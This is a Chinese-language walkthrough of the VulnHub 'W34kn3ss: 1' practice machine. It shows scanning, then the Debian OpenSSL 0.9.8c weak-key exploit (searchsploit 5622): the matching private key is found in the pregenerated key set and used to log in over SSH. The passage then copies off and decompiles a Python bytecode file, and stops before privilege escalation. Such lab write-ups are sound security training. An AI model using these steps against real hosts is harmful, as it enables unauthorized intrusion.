靶机下载地址
https://www.vulnhub.com/entry/w34kn3ss-1,270/
靶机配置
主机发现
arp-scan -l
端口扫描
nmap -sV -A -T4 192.168.229.160
目录扫描
dirsearch -u "http://192.168.229.160"
GETshell
80端口
http://192.168.229.160
这个页面表明,Apache2 服务器已经在Ubuntu系统上正确安装,并且服务器正在正常运行。这类默认页面对于渗透测试人员来说可能提供了一些有用的信息:
- 操作系统版本:页面显示服务器运行在Ubuntu系统上,渗透测试人员由此可以推测出操作系统的类型和潜在的版本,便于定制攻击方法,寻找系统的特定漏洞。
- Web服务器软件版本:知道服务器使用Apache2作为Web服务器软件后,渗透测试人员可以进一步尝试识别Apache2的具体版本。如果该版本存在已知漏洞(如远程代码执行漏洞或拒绝服务漏洞),则可能被利用。
- 默认配置:由于显示默认页面,说明服务器可能没有进行严格的配置和安全加固,比如没有修改默认的配置文件和路径。攻击者可以尝试利用一些默认设置(如目录遍历、文件泄露等)来获取更多信息或进行攻击。
- 文件路径:页面提示了Web服务器的默认文档根目录是
/var/www/html/index.html
,渗透测试人员可以推测系统的文件结构,尝试通过未授权的路径访问服务器上的其他文件。 - 潜在的暴露信息:如果管理员没有对系统进行必要的安全配置,例如关闭目录列表功能或更改默认页面,可能会无意中暴露更多的敏感信息,例如配置文件、日志文件、备份文件等。
http://192.168.229.160/test/
提示需要密码
443端口
http://192.168.229.160:443/
访问网站
兔子尾巴有一个值n30
,可能作为账号或密码
对http://weakness.jth/进行目录扫描
拼接访问 private
,有两个文件,看一下内容
mykey.pub文件内容
notes.txt文件内容,提示这个 key 由 openssl 0.9.8c-1 生成
kali 使用 searchsploit
工具查一下
searchsploit 0.9.8c-1
将5622.txt文件保存到当前目录下
searchsploit -m 5622
查看 5622.txt文件内容,给出了 url,需要下载
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/5622.tar.bz2
下载后,进行解压
tar vxjf 5622.tar.bz2
匹配 mykey.pub
内容,得到公钥
# 使用命令
grep -r -l "ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEApC39uhie9gZahjiiMo+k8DOqKLujcZMN1bESzSLT8H5jRGj8n1FFqjJw27Nu5JYTI73Szhg/uoeMOfECHNzGj7GtoMqwh38clgVjQ7Qzb47/kguAeWMUcUHrCBz9KsN+7eNTb5cfu0O0QgY+DoLxuwfVufRVNcvaNyo0VS1dAJWgDnskJJRD+46RlkUyVNhwegA0QRj9Salmpssp+z5wq7KBPL1S982QwkdhyvKg3dMy29j/C5sIIqM/mlqilhuidwo1ozjQlU2+yAVo5XrWDo0qVzzxsnTxB5JAfF7ifoDZp2yczZg+ZavtmfItQt1Vac1vSuBPCpTqkjE/4Iklgw== root@targetcluster"
# 公钥
4161de56829de2fe64b9055711f531c1-2537.pub
ssh -i 4161de56829de2fe64b9055711f531c1-2537 n30@192.168.229.160
发现执行sudo命令需要密码
sudo -l
ls
发现user.txt和可执行文件code
查看code文件类型
发现是python文件
file code
cp code /var/www/html
cd /var/www/html
python3 -m http.server
kali
wget http://192.168.229.160:8000/code
下载工具
pip install uncompyle6
修改文件名,工具执行
mv code code.pyc
uncompyle6 code.pyc
.pyc
文件是 Python 编译后的字节码文件。Python 解释器在运行 Python 代码时,会首先检查是否有对应的 .pyc
文件。如果存在,解释器会使用 .pyc
文件来加快代码的执行速度。
当 Python 源代码(.py
文件)第一次被解释器执行时,Python 会将源代码编译成字节码(.pyc
文件)。编译后的字节码文件可以被缓存起来,以便下次运行相同的代码时可以直接加载,而不必再次编译。
.pyc
文件包含了 Python 字节码指令,这些指令可以被解释器直接执行,而不需要先将源代码转换为机器码。.pyc
文件可以加快程序的启动速度,因为解释器不需要重新编译源代码,而是直接加载已经编译好的字节码。
需要注意的是,.pyc
文件是由解释器在第一次运行时生成的,并且在下次运行相同的代码时会被加载。如果源代码发生了变化,对应的 .pyc
文件也会被更新。